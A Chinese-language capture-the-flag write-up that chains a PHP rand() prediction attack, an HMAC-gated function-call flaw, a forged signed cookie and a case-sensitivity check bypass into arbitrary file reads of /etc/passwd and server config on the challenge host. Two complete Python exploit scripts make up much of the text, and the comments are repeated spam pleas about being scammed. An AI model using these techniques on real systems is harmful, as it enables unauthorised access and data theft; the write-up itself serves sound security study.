安全箱子的秘密

0x01 rand缺陷导致密钥泄露

目标: http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php

随便写点东西,抓包,发现html源码里有个?x_show_source:

14660517818113.jpg

于是访问 http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php?x_show_source ,找到源码。

分析一下,发现这里每个新的session会生成两个随机字符串,SECRET_KEY和CSRF_TOKEN。其中CSRF_TOKEN是防御CSRF的token,会直接显示在表单中;而SECRET_KEY是类似密钥的东西,在后面需要利用这个密钥给数据签名。

但密钥是不知道的,这就是本题第一个难点,如何得知密钥。我们看到随机字符串生成函数rand_str:

<?php
function rand_str($length = 16)
{
    $rand = [];
    $_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    for($i = 0; $i < $length; $i++) {
        $n = rand(0, strlen($_str) - 1);
        $rand[] = $_str{$n};
    }
    return implode($rand);
} 

可见,这里用的是rand函数生成的随机数。在linux下,PHP的rand函数是调用glibc库中的rand函数,其实现是有缺陷的。可见这篇文章: http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/

其提到一个公式:

state[i] = state[i-3] + state[i-31]

也就是说,rand生成的第i个随机数,等于i-3个随机数加i-31个随机数的和。

所以,我们只要生成大于32个随机数,就可以陆续推测出后面的随机数是多少了。我们看到代码:

<?php
if(empty($_SESSION['SECRET_KEY'])) {
    $_SESSION['SECRET_KEY'] = rand_str(6);
}
if(empty($_SESSION['CSRF_TOKEN'])) {
    $_SESSION['CSRF_TOKEN'] = rand_str(16);
}

当一个新请求来到时,index.php会先生成6个随机数组成的字符串作为SECRET_KEY,再生成16个随机数组成的字符串CSRF_TOKEN,而且CSRF_TOKEN是已知的。那么一次请求最多生成22个随机数,是不到31的,所以并不能使用上面的公式。

我们知道HTTP1.1协议支持Keep-Alive,也就是说一个TCP连接支持收发多个HTTP数据包,只要TCP连接不断那么这个随机数生成就是连续的。所以我只需要发送两个带有Keep-Alive的数据包即可拿到一共44个随机数。

这44个随机数大概是这样的:

a[0]~a[5]未知 + a[6]~a[21]已知 + a[22]~a[27]未知 + a[28]~a[43]已知

然后我们再次发送不带session的数据包,则再次生成『6未知+16已知』,这时『6未知』就可以推测了。根据公式,a[45] = a[14] + a[42],而a[14]和a[42]正好是已知的;根据公式,a[50] = a[19] + a[47],而a[14]和a[42]也是已知的。
所以,我们是可以推算出a[45]~a[50]这6个随机数的,进而推算出此时的SECRET_KEY。
当然,实际操作时会有一定误差,一般是推算出来的值比真实值小1。那么,我们一共推算6个随机数,可能的情况就是:

number 1 number 2 number 3 number 4 number 5 number 6
a b c d e f
a+1 b+1 c+1 d+1 e+1 f+1

做一个笛卡尔乘积,一共得到如下一些情况:

[('a', 'b', 'c', 'd', 'e', 'f'),
('a', 'b', 'c', 'd', 'e', 'f+1'),
('a', 'b', 'c', 'd', 'e+1', 'f'),
('a', 'b', 'c', 'd', 'e+1', 'f+1'),
('a', 'b', 'c', 'd+1', 'e', 'f'),
('a', 'b', 'c', 'd+1', 'e', 'f+1'),
('a', 'b', 'c', 'd+1', 'e+1', 'f'),
('a', 'b', 'c', 'd+1', 'e+1', 'f+1'),
('a', 'b', 'c+1', 'd', 'e', 'f'),
('a', 'b', 'c+1', 'd', 'e', 'f+1'),
('a', 'b', 'c+1', 'd', 'e+1', 'f'),
('a', 'b', 'c+1', 'd', 'e+1', 'f+1'),
('a', 'b', 'c+1', 'd+1', 'e', 'f'),
('a', 'b', 'c+1', 'd+1', 'e', 'f+1'),
('a', 'b', 'c+1', 'd+1', 'e+1', 'f'),
('a', 'b', 'c+1', 'd+1', 'e+1', 'f+1'),
('a', 'b+1', 'c', 'd', 'e', 'f'),
('a', 'b+1', 'c', 'd', 'e', 'f+1'),
('a', 'b+1', 'c', 'd', 'e+1', 'f'),
('a', 'b+1', 'c', 'd', 'e+1', 'f+1'),
('a', 'b+1', 'c', 'd+1', 'e', 'f'),
('a', 'b+1', 'c', 'd+1', 'e', 'f+1'),
('a', 'b+1', 'c', 'd+1', 'e+1', 'f'),
('a', 'b+1', 'c', 'd+1', 'e+1', 'f+1'),
('a', 'b+1', 'c+1', 'd', 'e', 'f'),
('a', 'b+1', 'c+1', 'd', 'e', 'f+1'),
('a', 'b+1', 'c+1', 'd', 'e+1', 'f'),
('a', 'b+1', 'c+1', 'd', 'e+1', 'f+1'),
('a', 'b+1', 'c+1', 'd+1', 'e', 'f'),
('a', 'b+1', 'c+1', 'd+1', 'e', 'f+1'),
('a', 'b+1', 'c+1', 'd+1', 'e+1', 'f'),
('a', 'b+1', 'c+1', 'd+1', 'e+1', 'f+1'),
('a+1', 'b', 'c', 'd', 'e', 'f'),
('a+1', 'b', 'c', 'd', 'e', 'f+1'),
('a+1', 'b', 'c', 'd', 'e+1', 'f'),
('a+1', 'b', 'c', 'd', 'e+1', 'f+1'),
('a+1', 'b', 'c', 'd+1', 'e', 'f'),
('a+1', 'b', 'c', 'd+1', 'e', 'f+1'),
('a+1', 'b', 'c', 'd+1', 'e+1', 'f'),
('a+1', 'b', 'c', 'd+1', 'e+1', 'f+1'),
('a+1', 'b', 'c+1', 'd', 'e', 'f'),
('a+1', 'b', 'c+1', 'd', 'e', 'f+1'),
('a+1', 'b', 'c+1', 'd', 'e+1', 'f'),
('a+1', 'b', 'c+1', 'd', 'e+1', 'f+1'),
('a+1', 'b', 'c+1', 'd+1', 'e', 'f'),
('a+1', 'b', 'c+1', 'd+1', 'e', 'f+1'),
('a+1', 'b', 'c+1', 'd+1', 'e+1', 'f'),
('a+1', 'b', 'c+1', 'd+1', 'e+1', 'f+1'),
('a+1', 'b+1', 'c', 'd', 'e', 'f'),
('a+1', 'b+1', 'c', 'd', 'e', 'f+1'),
('a+1', 'b+1', 'c', 'd', 'e+1', 'f'),
('a+1', 'b+1', 'c', 'd', 'e+1', 'f+1'),
('a+1', 'b+1', 'c', 'd+1', 'e', 'f'),
('a+1', 'b+1', 'c', 'd+1', 'e', 'f+1'),
('a+1', 'b+1', 'c', 'd+1', 'e+1', 'f'),
('a+1', 'b+1', 'c', 'd+1', 'e+1', 'f+1'),
('a+1', 'b+1', 'c+1', 'd', 'e', 'f'),
('a+1', 'b+1', 'c+1', 'd', 'e', 'f+1'),
('a+1', 'b+1', 'c+1', 'd', 'e+1', 'f'),
('a+1', 'b+1', 'c+1', 'd', 'e+1', 'f+1'),
('a+1', 'b+1', 'c+1', 'd+1', 'e', 'f'),
('a+1', 'b+1', 'c+1', 'd+1', 'e', 'f+1'),
('a+1', 'b+1', 'c+1', 'd+1', 'e+1', 'f'),
('a+1', 'b+1', 'c+1', 'd+1', 'e+1', 'f+1')] 

依次试一遍就好了。

0x02 PHP鸡肋任意代码执行

依次测试上述推测出的SECRET_KEY,当页面返回值不再提示Permission deny!!时,说明预测准确。此时我们拿到了SECRET_KEY,即可计算hmac,实际上计算hmac是为了控制$act$act是后面PHP执行的函数:

<?php
if(hash_hmac('md5', $act, $_SESSION['SECRET_KEY']) === $key) {
   if(function_exists($act)) {
       $exec_res = $act();
       output($exec_res);
   } else {
       show_error_page("Function not found!!");
   }
} else {
   show_error_page("Permission deny!!");
}

$act(),这里等于说存在一个『任意代码执行』漏洞。但这个漏洞比较鸡肋,虽然可以执行任意函数,但因为没有传入参数,所以导致执行诸如assert、system之类的函数是没用的,会报错:

14660635298209.jpg

那么,我们只能利用php里一些不含参数的函数。php里有几个get开头的函数,其效果还是蛮强的:

14660639680966.jpg

主要有以下一些:

  1. get_defined_functions 可以获取所有已经定义的函数
  2. get_defined_constants 可以获取所有已经定义的常量
  3. get_defined_vars 可以获取所有已经定义的变量
  4. get_included_files 可以获取所有已经包含的文件
  5. get_loaded_extensions 可以获取所有加载的扩展
  6. get_declared_classes 可以获取所有已经声明的类
  7. get_declared_interfaces 可以获取所有已经声明的接口

其中,第1~4个方法十分致命。一般一个网站加密密钥、数据库配置信息多半存在常量或全局变量中,通过第2、3个方法即可全部获取,而通过第1、4个方法可以大致获取网站结构,了解函数状况。

这里,我们通过调用get_defined_functions,即可获得一个包含所有已经定义的函数的数组。不过,我们需要设置HTTP头:

<?php
function output($obj)
{
    if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&
        strcasecmp($_SERVER['HTTP_X_REQUESTED_WITH'], 'XMLHttpRequest') === 0) {
        header("Content-Type: application/json");
        echo json_encode($obj);
    } else {
        header("Content-Type: text/html; charset=UTF-8");
        echo strval($obj);
    }
}

因为我们要获取的是数组,数组直接输出是会被强制转换成字符串的。所以我将X-REQUESTED-WITH设置为XMLHttpRequest,即可让输出结果转换成json,这样数组就被保留了:

14660645664569.jpg

输出所有函数,我发现用户函数中有几个函数在源码中没看到:_fd_init,fd_show_source,fd_config,fd_error,fg_safebox

分别执行一下,发现fd_show_source是读取源码:

14660646878115.jpg

0x03 提权+任意文件读取漏洞

整理一下这个源码,发现主要逻辑在fg_safebox函数中,观察一下:

<?php
function fg_safebox()
{
    _fd_init();
    $config = fd_config();
    $action = isset($_POST['method']) ? $_POST['method'] : "";
    $role = isset($_SESSION["userinfo"]['role']) ? $_SESSION["userinfo"]['role'] : "";
    if(!in_array($role, ['admin', 'user'])) {
        return fd_error('Permission denied!!');
    }
    if(in_array($action, $config['role']['admin']) && $role != "admin") {
        return fd_error('Admin permission denied!!');
    }
    $box = new SafeBox();
    if(method_exists($box, $action)) {
        return call_user_func([$box, $action]);
    } else {
        return null;
    }
}

先调用了_fd_init()。然后检查用户session[role]是否是admin或user,并检查用户是否有权限执行某函数。

先看看_fd_init:

<?php
function _fd_init()
{
    //定义role必须为guest
    $_SESSION["userinfo"] = [
        "role" => "guest"
    ];
    $cookie = isset($_COOKIE['userinfo']) ? base64_decode($_COOKIE['userinfo']) : "";
    if(empty($cookie) || strlen($cookie) < 32) {
        return false;
    }

    $h1 = substr($cookie, 0, 32);
    $h2 = substr($cookie, 32);
    if($h1 !== hash_hmac("md5", $h2, $_SESSION['SECRET_KEY'])) {
        return false;
    }

    //防止身份伪造
    if(strpos($h2, "admin") !== false || strpos($h2, "user") !== false) {
        return false;
    }
    $s = json_decode($h2, true);
    $s['role'] = strval($s['role']);
    if($s['role'] == 'admin') {
        return false;
    }
    $_SESSION["userinfo"] = array_merge($_SESSION["userinfo"], $s);
    return true;
}

实际上是从cookie中取出信息并用json_decode解码后作为session,我们的目标是控制$_SESSION['userinfo']['role']。有三个地方注意一下就好了:

  • cookie中取出的信息先进行签名认证,但因为密钥SECRET_KEY已经拿到了,所以不成问题
  • admin和user这两个字符串不能出现在json中,我们可以利用unicode编码,比如{<q>role</q>: <q>\u0075ser</q>}
  • role的值不能为admin

主要是第三个问题,role的值不能是admin,那么执行不了read方法:

<?php
private function _read_file($filename)
{
    $filename = dirname(__FILE__) . "/" . $filename;
    return file($filename);
}

public function read()
{
    $filename = isset($_POST['filename']) ? $_POST['filename'] : "box.txt";
    return $this->_read_file($filename);
}

而read方法很明显是有任意文件读取漏洞的,所以现在做的是提权。

我们执行fd_config()函数,可以得到权限分配的数组:

14660765094390.jpg

可以看到,admin对应的方法有read,而user对应的方法有view、alist、random,在flag.php的97行对权限进行检查:

<?php
if(in_array($action, $config['role']['admin']) && $role != "admin") {
    return fd_error('Admin permission denied!!');
}

$action$config['role']['admin']数组中时,如果你的role又不是admin,则提示权限错误。

其实这里又涉及到php的大小写敏感问题,php语言的方法名、类名、函数名是大小写不敏感的,也就是说平时执行phpinfo()可以读取php信息,执行PhPInfO()效果也是一样的。

所以,我只需要传入的$action为READ等包含大写字母即可绕过in_array的限制,而最后仍然可以执行read方法。

执行read方法后即可读取任意文件,按常规渗透方式读取一些常见文件

/etc/passwd
/etc/hosts
/etc/apache2/httpd.conf
/etc/php5/php.ini
/etc/cron 

在/etc/apache2/httpd.conf的最后几行发现flag:

14660773376068.jpg

0x04 编写脚本

这个题其实难度并不大,但复杂,十分复杂,几乎不可能通过手工拿到flag,必须要写脚本。
首先,我要先写一个获取SECRET_KEY的脚本,就是我在0x01中说到的,利用rand函数缺陷预测SECRET_KEY,并通过笛卡尔乘积生成可能的情况,一一测试,最终找到正确的SECRET_KEY。
给出我的脚本:

#!/usr/bin/env python
import requests
import re
import itertools
import random
import string
import hmac
import hashlib
import sys

rand = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php"

def get_csrf_token(res):
    rex = re.search(r'name="CSRF_TOKEN" value="(\w+)"', res.content)
    return rex.group(1)

def str_to_random(lst):
    return [rand.find(s) for s in lst]

def random_to_str(lst):
    return ''.join([rand[i] if 0 <= i < len(rand) else '0' for i in lst])

def calc_key(lst):
    for i in range(len(lst), len(lst) + 6):
        assert(lst[i - 31] != -1)
        assert(lst[i - 3] != -1)
        lst.append((lst[i - 31] + lst[i - 3]) % len(rand))
    return lst[-6:]

def test_token(s, secret):
    res = s.get(target)
    token = get_csrf_token(res)
    res = s.post(target, data={
        "submit": "1",
        "CSRF_TOKEN": token,
        "act": "phpinfo",
        "key": hash_hmac("phpinfo", secret)
    })
    if res.content.find("Permission deny!!") < 0:
        sys.stdout.write("\n")
        print("[cookies ]", s.headers['Cookie'])
        print("[key ]", secret)
        print("[content ]", res.content)
        return True
    else:
        sys.stdout.write(".")
        sys.stdout.flush()
        return False

def hash_hmac(data, key):
    h = hmac.new(key, data, hashlib.md5)
    return h.hexdigest()

def rand_str(length):
    return ''.join(random.choice(string.letters + string.digits) for _ in range(length))

def calc_maybe(lst):
    prd = []
    for i in lst:
        prd.append((i, i+1))
    return itertools.product(*prd)

rand_lst = []
s = requests.session();
s.headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "
                  "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"
                  ".0.2704.63 Safari/537.36"
}

for i in range(2):
    s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12))
    res = s.get(target)
    token = get_csrf_token(res)
    rand_lst += list("\x00" * 6)
    rand_lst += list(token)

#print(rand_lst)
rand_lst = str_to_random(rand_lst)

key_arr = calc_key(rand_lst)
print("[calc key] ", key_arr)

s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12))
for fkey in calc_maybe(key_arr):
    if test_token(s, random_to_str(fkey)):
        break

有几点要注意的:

  • CSRF_TOKEN每次使用完就会销毁,所以每次发送POST请求之前都需要获取一个CSRF_TOKEN
  • 为了保证Keep-Alive,使用requests库的session类来维持会话
  • 为了生成44个随机数,需要发送两次数据包,发送数据包前需要更换sessionid,否则第二次不会再生成新的随机数。我的做法是发送前自己生成随机字符串作为sessionid
  • 笛卡尔积可以用python的itertools.product方法
  • 最终获取准确的secret_key后,要输出这个secret_key,同时还要输出当前sessionid,后续操作均需要带着这个sessionid

这个脚本有一定的失败率,具体为什么不细讲了,多试几次肯定Ok就是了:

14660780995414.jpg

拿到key了,然后我们再写一个脚本。这个脚本的目的是读取文件:

#!/usr/bin/env python
import hmac
import hashlib
import sys
import requests
import re
import urlparse
import json
import base64
import urllib

secret = "5ist0d"
session = "eiZCh9cVSo35"
target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php"

def get_csrf_token(res):
    rex = re.search(r'name="CSRF_TOKEN" value="(\w+)"', res.content)
    return rex.group(1)

def hash_hmac(data, key):
    h = hmac.new(key, data, hashlib.md5)
    return h.hexdigest()

if __name__ == '__main__':
    func = sys.argv[1]
    post_data = {}
    cookie = '{"role": "\\u0075ser"}'
    auth = hash_hmac(cookie, secret)
    s = requests.session()
    s.headers = {
        "Cookie": "PHPSESSID={}; userinfo={}".format(session, urllib.quote(base64.b64encode(auth+cookie))),
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "
                      "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"
                      ".0.2704.63 Safari/537.36",
        "X-REQUESTED-WITH": "XMLHttpRequest"
    }

    res = s.get(target)
    token = get_csrf_token(res)
    post_data.update({
        "submit": "1",
        "CSRF_TOKEN": token,
        "act": func,
        "key": hash_hmac(func, secret), 
        "method": "reaD",
        "filename": "../../etc/passwd"
    })
    res = s.post(target, data=post_data)
    print(res.content)

将刚才获取的secret和sessionid填入脚本,执行即可读取../../etc/passwd文件。我们可以在sys.argv[1]传入想执行的函数,比如

./calc.py fd_show_source
./calc.py fd_config
./calc.py fg_safebox 

当然,最终我们要执行的是fg_safebox,在post包中设置method=reaD,filename是想读的文件,cookie中配置好role=user的json字符串,执行即可:

14660788476962.jpg

赞赏

喜欢这篇文章,扫码和我成为赞友!

评论

骗子A 回复

你好 我不知道你能不能看到这个 我被一个外国网站骗了钱 想找你帮帮忙 真的非常感谢了 之前也找了很多人 也是一直被骗到了现在

Chu 回复

你好 我不知道你能不能看到这个  我被一个外国网站骗了钱 想找你帮帮忙 真的非常感谢了 之前也找了很多人 也是一直被骗到了现在

Veneno 回复

学习

人模狗样 回复

你好 我不知道你能不能看到这个  我被一个外国网站骗了钱 想找你帮帮忙 真的非常感谢了 之前也找了很多人 也是一直被骗到了现在

captcha